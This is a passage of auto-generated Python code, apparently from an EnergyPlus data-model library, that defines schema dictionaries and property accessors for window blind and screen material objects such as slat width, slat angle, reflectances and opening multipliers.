Multiplier"] @bottom_opening_multiplier.setter def bottom_opening_multiplier(self, value=None): """Corresponds to IDD field `Bottom Opening Multiplier`""" self["Bottom Opening Multiplier"] = value @property def left_side_opening_multiplier(self): """field `Left Side Opening Multiplier` | value <= 1.0 Args: value (float): value for IDD Field `Left Side Opening Multiplier` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `left_side_opening_multiplier` or None if not set """ return self["Left Side Opening Multiplier"] @left_side_opening_multiplier.setter def left_side_opening_multiplier(self, value=None): """Corresponds to IDD field `Left Side Opening Multiplier`""" self["Left Side Opening Multiplier"] = value @property def right_side_opening_multiplier(self): """field `Right Side Opening Multiplier` | value <= 1.0 Args: value (float): value for IDD Field `Right Side Opening Multiplier` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `right_side_opening_multiplier` or None if not set """ return self["Right Side Opening Multiplier"] @right_side_opening_multiplier.setter def right_side_opening_multiplier(self, value=None): """Corresponds to IDD field `Right Side Opening Multiplier`""" self["Right Side Opening Multiplier"] = value @property def front_opening_multiplier(self): """field `Front Opening Multiplier` | Default value: 0.05 | value <= 1.0 Args: value (float): value for IDD Field `Front Opening Multiplier` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `front_opening_multiplier` or None if not set """ return self["Front Opening Multiplier"] @front_opening_multiplier.setter def front_opening_multiplier(self, value=0.05): """Corresponds to IDD field `Front Opening Multiplier`""" self["Front Opening Multiplier"] = value @property def slat_width(self): """field `Slat Width` | Units: m | Default value: 0.016 Args: value (float): value for IDD Field `Slat Width` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `slat_width` or None if not set """ return self["Slat Width"] @slat_width.setter def slat_width(self, value=0.016): """Corresponds to IDD field `Slat Width`""" self["Slat Width"] = value @property def slat_spacing(self): """field `Slat Spacing` | Distance between adjacent slat faces | Units: m | Default value: 0.012 Args: value (float): value for IDD Field `Slat Spacing` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `slat_spacing` or None if not set """ return self["Slat Spacing"] @slat_spacing.setter def slat_spacing(self, value=0.012): """Corresponds to IDD field `Slat Spacing`""" self["Slat Spacing"] = value @property def slat_thickness(self): """field `Slat Thickness` | Distance between top and bottom surfaces of slat | Slat is assumed to be rectangular in cross section and flat | Units: m | Default value: 0.0006 Args: value (float): value for IDD Field `Slat Thickness` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `slat_thickness` or None if not set """ return self["Slat Thickness"] @slat_thickness.setter def slat_thickness(self, value=0.0006): """Corresponds to IDD field `Slat Thickness`""" self["Slat Thickness"] = value @property def slat_angle(self): """field `Slat Angle` | Units: deg | Default value: 90.0 | value >= -90.0 | value <= 90.0 Args: value (float): value for IDD Field `Slat Angle` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `slat_angle` or None if not set """ return self["Slat Angle"] @slat_angle.setter def slat_angle(self, value=90.0): """Corresponds to IDD field `Slat Angle`""" self["Slat Angle"] = value @property def slat_conductivity(self): """field `Slat Conductivity` | Units: W/m-K | Default value: 160.0 Args: value (float): value for IDD Field `Slat Conductivity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `slat_conductivity` or None if not set """ return self["Slat Conductivity"] @slat_conductivity.setter def slat_conductivity(self, value=160.0): """Corresponds to IDD field `Slat Conductivity`""" self["Slat Conductivity"] = value @property def slat_curve(self): """field `Slat Curve` | this value represents curvature radius of the slat. | if the slat is flat use zero. | if this value is not zero, then it must be > SlatWidth/2. | Units: m Args: value (float): value for IDD Field `Slat Curve` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `slat_curve` or None if not set """ return self["Slat Curve"] @slat_curve.setter def slat_curve(self, value=None): """Corresponds to IDD field `Slat Curve`""" self["Slat Curve"] = value class WindowMaterialBlind(DataObject): """ Corresponds to IDD object `WindowMaterial:Blind` Window blind thermal properties """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'slat orientation', {'name': u'Slat Orientation', 'pyname': u'slat_orientation', 'default': u'Horizontal', 'required-field': False, 'autosizable': False, 'accepted-values': [u'Horizontal', u'Vertical'], 'autocalculatable': False, 'type': 'alpha'}), (u'slat width', {'name': u'Slat Width', 'pyname': u'slat_width', 'minimum>': 0.0, 'maximum': 1.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'm'}), (u'slat separation', {'name': u'Slat Separation', 'pyname': u'slat_separation', 'minimum>': 0.0, 'maximum': 1.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'm'}), (u'slat thickness', {'name': u'Slat Thickness', 'pyname': u'slat_thickness', 'default': 0.00025, 'minimum>': 0.0, 'maximum': 0.1, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'm'}), (u'slat angle', {'name': u'Slat Angle', 'pyname': u'slat_angle', 'default': 45.0, 'maximum': 180.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'deg'}), (u'slat conductivity', {'name': u'Slat Conductivity', 'pyname': u'slat_conductivity', 'default': 221.0, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'W/m-K'}), (u'slat beam solar transmittance', {'name': u'Slat Beam Solar Transmittance', 'pyname': u'slat_beam_solar_transmittance', 'default': 0.0, 'maximum<': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'front side slat beam solar reflectance', {'name': u'Front Side Slat Beam Solar Reflectance', 'pyname': u'front_side_slat_beam_solar_reflectance', 'maximum<': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'back side slat beam solar reflectance', {'name': u'Back Side Slat Beam Solar Reflectance', 'pyname': u'back_side_slat_beam_solar_reflectance', 'maximum<': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'slat diffuse solar transmittance', {'name': u'Slat Diffuse Solar Transmittance', 'pyname': u'slat_diffuse_solar_transmittance', 'default': 0.0, 'maximum<': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'front side slat diffuse solar reflectance', {'name': u'Front Side Slat Diffuse Solar Reflectance', 'pyname': u'front_side_slat_diffuse_solar_reflectance', 'maximum<': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'back side slat diffuse solar reflectance', {'name': u'Back Side Slat Diffuse Solar Reflectance', 'pyname': u'back_side_slat_diffuse_solar_reflectance', 'maximum<': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'slat beam visible transmittance', {'name': u'Slat Beam Visible Transmittance', 'pyname': u'slat_beam_visible_transmittance', 'maximum<': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'front side slat beam visible reflectance', {'name': u'Front Side Slat Beam Visible Reflectance', 'pyname': u'front_side_slat_beam_visible_reflectance', 'maximum<': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'back side slat beam visible reflectance', {'name': u'Back Side Slat Beam Visible Reflectance', 'pyname': u'back_side_slat_beam_visible_reflectance', 'maximum<': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'slat diffuse visible transmittance', {'name': u'Slat Diffuse Visible Transmittance', 'pyname': u'slat_diffuse_visible_transmittance', 'default': 0.0, 'maximum<': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'front side slat diffuse visible reflectance', {'name': u'Front Side Slat Diffuse Visible Reflectance', 'pyname': u'front_side_slat_diffuse_visible_reflectance', 'maximum<': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'back side slat diffuse visible reflectance', {'name': u'Back Side Slat Diffuse Visible Reflectance', 'pyname': u'back_side_slat_diffuse_visible_reflectance', 'maximum<': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'slat infrared hemispherical transmittance', {'name': u'Slat Infrared Hemispherical Transmittance', 'pyname': u'slat_infrared_hemispherical_transmittance', 'default': 0.0, 'maximum<': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'front side slat infrared hemispherical emissivity', {'name': u'Front Side Slat Infrared Hemispherical Emissivity', 'pyname': u'front_side_slat_infrared_hemispherical_emissivity', 'default': 0.9, 'maximum<': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'back side slat infrared hemispherical emissivity', {'name': u'Back Side Slat Infrared Hemispherical Emissivity', 'pyname': u'back_side_slat_infrared_hemispherical_emissivity', 'default': 0.9, 'maximum<': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'blind to glass distance', {'name': u'Blind to Glass Distance', 'pyname': u'blind_to_glass_distance', 'default': 0.05, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.01, 'autocalculatable': False, 'type': u'real', 'unit': u'm'}), (u'blind top opening multiplier', {'name': u'Blind Top Opening Multiplier', 'pyname': u'blind_top_opening_multiplier', 'default': 0.5, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'blind bottom opening multiplier', {'name': u'Blind Bottom Opening Multiplier', 'pyname': u'blind_bottom_opening_multiplier', 'default': 0.0, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'blind left side opening multiplier', {'name': u'Blind Left Side Opening Multiplier', 'pyname': u'blind_left_side_opening_multiplier', 'default': 0.5, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'blind right side opening multiplier', {'name': u'Blind Right Side Opening Multiplier', 'pyname': u'blind_right_side_opening_multiplier', 'default': 0.5, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real'}), (u'minimum slat angle', {'name': u'Minimum Slat Angle', 'pyname': u'minimum_slat_angle', 'default': 0.0, 'maximum': 180.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'deg'}), (u'maximum slat angle', {'name': u'Maximum Slat Angle', 'pyname': u'maximum_slat_angle', 'default': 180.0, 'maximum': 180.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'deg'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 29, 'name': u'WindowMaterial:Blind', 'pyname': u'WindowMaterialBlind', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def slat_orientation(self): """field `Slat Orientation` | Default value: Horizontal Args: value (str): value for IDD Field `Slat Orientation` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `slat_orientation` or None if not set """ return self["Slat Orientation"] @slat_orientation.setter def slat_orientation(self, value="Horizontal"): """Corresponds to IDD field `Slat Orientation`""" self["Slat Orientation"] = value @property def slat_width(self): """field `Slat Width` | Units: m | IP-Units: in | value <= 1.0 Args: value (float): value for IDD Field `Slat Width` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `slat_width` or None if not set """ return self["Slat Width"] @slat_width.setter def slat_width(self, value=None): """Corresponds to IDD field `Slat Width`""" self["Slat Width"] = value @property def slat_separation(self): """field `Slat Separation` | Distance between adjacent slat faces | Units: m | IP-Units: in | value <= 1.0 Args: value (float): value for IDD Field `Slat Separation` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `slat_separation` or None if not set """ return self["Slat Separation"] @slat_separation.setter def slat_separation(self, value=None): """Corresponds to IDD field `Slat Separation`""" self["Slat Separation"] = value @property def slat_thickness(self): """field `Slat Thickness` | Distance between top and bottom surfaces of slat | Slat is assumed to be rectangular in cross section and flat | Units: m | IP-Units: in | Default value: 0.00025 | value <= 0.1 Args: value (float): value for IDD Field `Slat Thickness` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `slat_thickness` or None if not set """ return self["Slat Thickness"] @slat_thickness.setter def slat_thickness(self, value=0.00025): """Corresponds to IDD field `Slat Thickness`""" self["Slat Thickness"] = value @property def slat_angle(self): """field `Slat Angle` | If WindowProperty:ShadingControl for the window that incorporates this blind | has Type of Slat Angle Control for Blinds = FixedSlatAngle, | then this is the fixed value of the slat angle; | If WindowProperty:ShadingControl for the window that incorporates this blind | has Type of Slat Angle Control for Blinds = BlockBeamSolar, | then this is the slat angle when slat angle control | is not in effect (e.g., when there is no beam solar on the blind); | Not used if WindowProperty:ShadingControl for the window that incorporates this blind | has Type of Slat Angle Control for Blinds = ScheduledSlatAngle. | Units: deg | Default value: 45.0 | value <= 180.0 Args: value (float): value for IDD Field `Slat Angle` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `slat_angle` or None if not set """ return self["Slat Angle"] @slat_angle.setter def slat_angle(self, value=45.0): """Corresponds to IDD field `Slat Angle`""" self["Slat Angle"] = value @property def slat_conductivity(self): """field `Slat Conductivity` | default is for aluminum | Units: W/m-K | Default value: 221.0 Args: value (float): value for IDD Field `Slat Conductivity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `slat_conductivity` or None if not set """ return self["Slat Conductivity"] @slat_conductivity.setter def slat_conductivity(self, value=221.0): """Corresponds to IDD field `Slat Conductivity`""" self["Slat Conductivity"] = value @property def slat_beam_solar_transmittance(self): """field `Slat Beam Solar Transmittance` | value < 1.0 Args: value (float): value for IDD Field `Slat Beam Solar Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `slat_beam_solar_transmittance` or None if not set """ return self["Slat Beam Solar Transmittance"] @slat_beam_solar_transmittance.setter def slat_beam_solar_transmittance(self, value=None): """Corresponds to IDD field `Slat Beam Solar Transmittance`""" self["Slat Beam Solar Transmittance"] = value @property def front_side_slat_beam_solar_reflectance(self): """field `Front Side Slat Beam Solar Reflectance` | value < 1.0 Args: value (float): value for IDD Field `Front Side Slat Beam Solar Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `front_side_slat_beam_solar_reflectance` or None if not set """ return self["Front Side Slat Beam Solar Reflectance"] @front_side_slat_beam_solar_reflectance.setter def front_side_slat_beam_solar_reflectance(self, value=None): """Corresponds to IDD field `Front Side Slat Beam Solar Reflectance`""" self["Front Side Slat Beam Solar Reflectance"] = value @property def back_side_slat_beam_solar_reflectance(self): """field `Back Side Slat Beam Solar Reflectance` | value < 1.0 Args: value (float): value for IDD Field `Back Side Slat Beam Solar Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `back_side_slat_beam_solar_reflectance` or None if not set """ return self["Back Side Slat Beam Solar Reflectance"] @back_side_slat_beam_solar_reflectance.setter def back_side_slat_beam_solar_reflectance(self, value=None): """Corresponds to IDD field `Back Side Slat Beam Solar Reflectance`""" self["Back Side Slat Beam Solar Reflectance"] = value @property def slat_diffuse_solar_transmittance(self): """field `Slat Diffuse Solar Transmittance` | Must equal "Slat beam solar transmittance" | value < 1.0 Args: value (float): value for IDD Field `Slat Diffuse Solar Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `slat_diffuse_solar_transmittance` or None if not set """ return self["Slat Diffuse Solar Transmittance"] @slat_diffuse_solar_transmittance.setter def slat_diffuse_solar_transmittance(self, value=None): """Corresponds to IDD field `Slat Diffuse Solar Transmittance`""" self["Slat Diffuse Solar Transmittance"] = value @property def front_side_slat_diffuse_solar_reflectance(self): """field `Front Side Slat Diffuse Solar Reflectance` | Must equal "Front Side Slat Beam Solar Reflectance" | value < 1.0 Args: value (float): value for IDD Field `Front Side Slat Diffuse Solar Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `front_side_slat_diffuse_solar_reflectance` or None if not set """ return self["Front Side Slat Diffuse Solar Reflectance"] @front_side_slat_diffuse_solar_reflectance.setter def front_side_slat_diffuse_solar_reflectance(self, value=None): """Corresponds to IDD field `Front Side Slat Diffuse Solar Reflectance`""" self["Front Side Slat Diffuse Solar Reflectance"] = value @property def back_side_slat_diffuse_solar_reflectance(self): """field `Back Side Slat Diffuse Solar Reflectance` | Must equal "Back Side Slat Beam Solar Reflectance" | value < 1.0 Args: value (float): value for IDD Field `Back Side Slat Diffuse Solar Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `back_side_slat_diffuse_solar_reflectance` or None if not set """ return self["Back Side Slat Diffuse Solar Reflectance"] @back_side_slat_diffuse_solar_reflectance.setter def back_side_slat_diffuse_solar_reflectance(self, value=None): """Corresponds to IDD field `Back Side Slat Diffuse Solar Reflectance`""" self["Back Side Slat Diffuse Solar Reflectance"] = value @property def slat_beam_visible_transmittance(self): """field `Slat Beam Visible Transmittance` | Required for detailed daylighting calculation | value < 1.0 Args: value (float): value for IDD Field `Slat Beam Visible Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `slat_beam_visible_transmittance` or None if not set """ return self["Slat Beam Visible Transmittance"] @slat_beam_visible_transmittance.setter def slat_beam_visible_transmittance(self, value=None): """Corresponds to IDD field `Slat Beam Visible Transmittance`""" self["Slat Beam Visible Transmittance"] = value @property def front_side_slat_beam_visible_reflectance(self): """field `Front Side Slat Beam Visible Reflectance` | Required for detailed daylighting calculation | value < 1.0 Args: value (float): value for IDD Field `Front Side Slat Beam Visible Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `front_side_slat_beam_visible_reflectance` or None if not set """ return self["Front Side Slat Beam Visible Reflectance"] @front_side_slat_beam_visible_reflectance.setter def front_side_slat_beam_visible_reflectance(self, value=None): """Corresponds to IDD field `Front Side Slat Beam Visible Reflectance`""" self["Front Side Slat Beam Visible Reflectance"] = value @property def back_side_slat_beam_visible_reflectance(self): """field `Back Side Slat Beam Visible Reflectance` | Required for detailed daylighting calculation | value < 1.0 Args: value (float): value for IDD Field `Back Side Slat Beam Visible Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `back_side_slat_beam_visible_reflectance` or None if not set """ return self["Back Side Slat Beam Visible Reflectance"] @back_side_slat_beam_visible_reflectance.setter def back_side_slat_beam_visible_reflectance(self, value=None): """Corresponds to IDD field `Back Side Slat Beam Visible Reflectance`""" self["Back Side Slat Beam Visible Reflectance"] = value @property def slat_diffuse_visible_transmittance(self): """field `Slat Diffuse Visible Transmittance` | Used only for detailed daylighting calculation | Must equal "Slat Beam Visible Transmittance" | value < 1.0 Args: value (float): value for IDD Field `Slat Diffuse Visible Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `slat_diffuse_visible_transmittance` or None if not set """ return self["Slat Diffuse Visible Transmittance"] @slat_diffuse_visible_transmittance.setter def slat_diffuse_visible_transmittance(self, value=None): """Corresponds to IDD field `Slat Diffuse Visible Transmittance`""" self["Slat Diffuse Visible Transmittance"] = value @property def front_side_slat_diffuse_visible_reflectance(self): """field `Front Side Slat Diffuse Visible Reflectance` | Required for detailed daylighting calculation | Must equal "Front Side Slat Beam Visible Reflectance" | value < 1.0 Args: value (float): value for IDD Field `Front Side Slat Diffuse Visible Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `front_side_slat_diffuse_visible_reflectance` or None if not set """ return self["Front Side Slat Diffuse Visible Reflectance"] @front_side_slat_diffuse_visible_reflectance.setter def front_side_slat_diffuse_visible_reflectance(self, value=None): """Corresponds to IDD field `Front Side Slat Diffuse Visible Reflectance`""" self["Front Side Slat Diffuse Visible Reflectance"] = value @property def back_side_slat_diffuse_visible_reflectance(self): """field `Back Side Slat Diffuse Visible Reflectance` | Required for detailed daylighting calculation | Must equal "Back Side Slat Beam Visible Reflectance" | value < 1.0 Args: value (float): value for IDD Field `Back Side Slat Diffuse Visible Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `back_side_slat_diffuse_visible_reflectance` or None if not set """ return self["Back Side Slat Diffuse Visible Reflectance"] @back_side_slat_diffuse_visible_reflectance.setter def back_side_slat_diffuse_visible_reflectance(self, value=None): """Corresponds to IDD field `Back Side Slat Diffuse Visible Reflectance`""" self["Back Side Slat Diffuse Visible Reflectance"] = value @property def slat_infrared_hemispherical_transmittance(self): """field `Slat Infrared Hemispherical Transmittance` | value < 1.0 Args: value (float): value for IDD Field `Slat Infrared Hemispherical Transmittance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `slat_infrared_hemispherical_transmittance` or None if not set """ return self["Slat Infrared Hemispherical Transmittance"] @slat_infrared_hemispherical_transmittance.setter def slat_infrared_hemispherical_transmittance(self, value=None): """Corresponds to IDD field `Slat Infrared Hemispherical Transmittance`""" self["Slat Infrared Hemispherical Transmittance"] = value @property def front_side_slat_infrared_hemispherical_emissivity(self): """field `Front Side Slat Infrared Hemispherical Emissivity` | Default value: 0.9 | value < 1.0 Args: value (float): value for IDD Field `Front Side Slat Infrared Hemispherical Emissivity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `front_side_slat_infrared_hemispherical_emissivity` or None if not set """ return self["Front Side Slat Infrared Hemispherical Emissivity"] @front_side_slat_infrared_hemispherical_emissivity.setter def front_side_slat_infrared_hemispherical_emissivity(self, value=0.9): """Corresponds to IDD field `Front Side Slat Infrared Hemispherical Emissivity`""" self["Front Side Slat Infrared Hemispherical Emissivity"] = value @property def back_side_slat_infrared_hemispherical_emissivity(self): """field `Back Side Slat Infrared Hemispherical Emissivity` | Default value: 0.9 | value < 1.0 Args: value (float): value for IDD Field `Back Side Slat Infrared Hemispherical Emissivity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `back_side_slat_infrared_hemispherical_emissivity` or None if not set """ return self["Back Side Slat Infrared Hemispherical Emissivity"] @back_side_slat_infrared_hemispherical_emissivity.setter def back_side_slat_infrared_hemispherical_emissivity(self, value=0.9): """Corresponds to IDD field `Back Side Slat Infrared Hemispherical Emissivity`""" self["Back Side Slat Infrared Hemispherical Emissivity"] = value @property def blind_to_glass_distance(self): """field `Blind to Glass Distance` | Units: m | IP-Units: in | Default value: 0.05 | value >= 0.01 | value <= 1.0 Args: value (float): value for IDD Field `Blind to Glass Distance` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `blind_to_glass_distance` or None if not set """ return self["Blind to Glass Distance"] @blind_to_glass_distance.setter def blind_to_glass_distance(self, value=0.05): """Corresponds to IDD field `Blind to Glass Distance`""" self["Blind to Glass Distance"] = value @property def blind_top_opening_multiplier(self): """field `Blind Top Opening Multiplier` | Default value: 0.5 | value <= 1.0 Args: value (float): value for IDD Field `Blind Top Opening Multiplier` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `blind_top_opening_multiplier` or None if not set """ return self["Blind Top Opening Multiplier"] @blind_top_opening_multiplier.setter def blind_top_opening_multiplier(self, value=0.5): """Corresponds to IDD field `Blind Top Opening Multiplier`""" self["Blind Top Opening Multiplier"] = value @property def blind_bottom_opening_multiplier(self): """field `Blind Bottom Opening Multiplier` | value <= 1.0 Args: value (float): value for IDD Field `Blind Bottom Opening Multiplier` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `blind_bottom_opening_multiplier` or None if not set """ return self["Blind Bottom Opening Multiplier"] @blind_bottom_opening_multiplier.setter def blind_bottom_opening_multiplier(self, value=None): """Corresponds to IDD field `Blind Bottom Opening Multiplier`""" self["Blind Bottom Opening Multiplier"] = value @property def blind_left_side_opening_multiplier(self): """field `Blind Left Side Opening Multiplier` | Default value: 0.5 | value <= 1.0 Args: value (float): value for IDD Field `Blind Left Side Opening Multiplier` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `blind_left_side_opening_multiplier` or None if not set """ return self["Blind Left Side Opening Multiplier"] @blind_left_side_opening_multiplier.setter def blind_left_side_opening_multiplier(self, value=0.5): """Corresponds to IDD field `Blind Left Side Opening Multiplier`""" self["Blind Left Side Opening Multiplier"] = value @property def blind_right_side_opening_multiplier(self): """field `Blind Right Side Opening Multiplier` | Default value: 0.5 | value <= 1.0 Args: value (float): value for IDD Field `Blind Right Side Opening Multiplier` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `blind_right_side_opening_multiplier` or None if not set """ return self["Blind Right Side Opening Multiplier"] @blind_right_side_opening_multiplier.setter def blind_right_side_opening_multiplier(self, value=0.5): """Corresponds to IDD field `Blind Right Side Opening Multiplier`""" self["Blind Right Side Opening Multiplier"] = value @property def minimum_slat_angle(self): """field `Minimum Slat Angle` | Used only if WindowProperty:ShadingControl for the window that incorporates | this blind varies the slat angle (i.e., WindowProperty:ShadingControl with | Type of Slat Angle Control for Blinds = ScheduledSlatAngle | or BlockBeamSolar) | Units: deg | value <= 180.0 Args: value (float): value for IDD Field `Minimum Slat Angle` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `minimum_slat_angle` or None if not set """ return self["Minimum Slat Angle"] @minimum_slat_angle.setter def minimum_slat_angle(self, value=None): """Corresponds to IDD field `Minimum Slat Angle`""" self["Minimum Slat Angle"] = value @property def maximum_slat_angle(self): """field `Maximum Slat Angle` | Used only if WindowProperty:ShadingControl for the window that incorporates | this blind varies the slat angle (i.e., WindowProperty:ShadingControl with | Type of Slat Angle Control for Blinds = ScheduledSlatAngle | or BlockBeamSolar) | Units: deg | Default value: 180.0 | value <= 180.0 Args: value (float): value for IDD Field `Maximum Slat Angle` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `maximum_slat_angle` or None if not set """ return self["Maximum Slat Angle"] @maximum_slat_angle.setter def maximum_slat_angle(self, value=180.0): """Corresponds to IDD field `Maximum Slat Angle`""" self["Maximum Slat Angle"] = value class WindowMaterialScreen(DataObject): """ Corresponds to IDD object `WindowMaterial:Screen` Window screen physical properties. Can only be located on the exterior side of a window construction. """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'reflected beam transmittance accounting method', {'name': u'Reflected Beam Transmittance Accounting Method', 'pyname': u'reflected_beam_transmittance_accounting_method', 'default': u'ModelAsDiffuse', 'required-field': False, 'autosizable': False, 'accepted-values': [u'DoNotModel', u'ModelAsDirectBeam', u'ModelAsDiffuse'], 'autocalculatable': False, 'type': 'alpha'}), (u'diffuse solar reflectance', {'name': u'Diffuse Solar Reflectance', 'pyname': u'diffuse_solar_reflectance', 'maximum<': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'diffuse visible reflectance', {'name': u'Diffuse Visible Reflectance', 'pyname': u'diffuse_visible_reflectance', 'maximum<': 1.0, 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'thermal hemispherical emissivity', {'name': u'Thermal Hemispherical Emissivity', 'pyname': u'thermal_hemispherical_emissivity', 'default': 0.9, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'maximum<': 1.0, 'unit': u'dimensionless'}), (u'conductivity', {'name': u'Conductivity', 'pyname': u'conductivity', 'default': 221.0, 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'W/m-K'}), (u'screen material spacing', {'name': u'Screen Material Spacing', 'pyname': u'screen_material_spacing', 'minimum>': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'm'}), (u'screen material diameter', {'name': u'Screen Material Diameter', 'pyname': u'screen_material_diameter', 'minimum>': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'm'}), (u'screen to glass distance', {'name': u'Screen to Glass Distance', 'pyname': u'screen_to_glass_distance', 'default': 0.025, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.001, 'autocalculatable': False, 'type': u'real', 'unit': u'm'}), (u'top opening multiplier', {'name': u'Top Opening Multiplier', 'pyname': u'top_opening_multiplier', 'default': 0.0, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'bottom opening multiplier', {'name': u'Bottom Opening Multiplier', 'pyname': u'bottom_opening_multiplier', 'default': 0.0, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'left side opening multiplier', {'name': u'Left Side Opening Multiplier', 'pyname': u'left_side_opening_multiplier', 'default': 0.0, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'right side opening multiplier', {'name': u'Right Side Opening Multiplier', 'pyname': u'right_side_opening_multiplier', 'default': 0.0, 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'angle of resolution for screen transmittance output map', {'name': u'Angle of Resolution for Screen Transmittance Output Map', 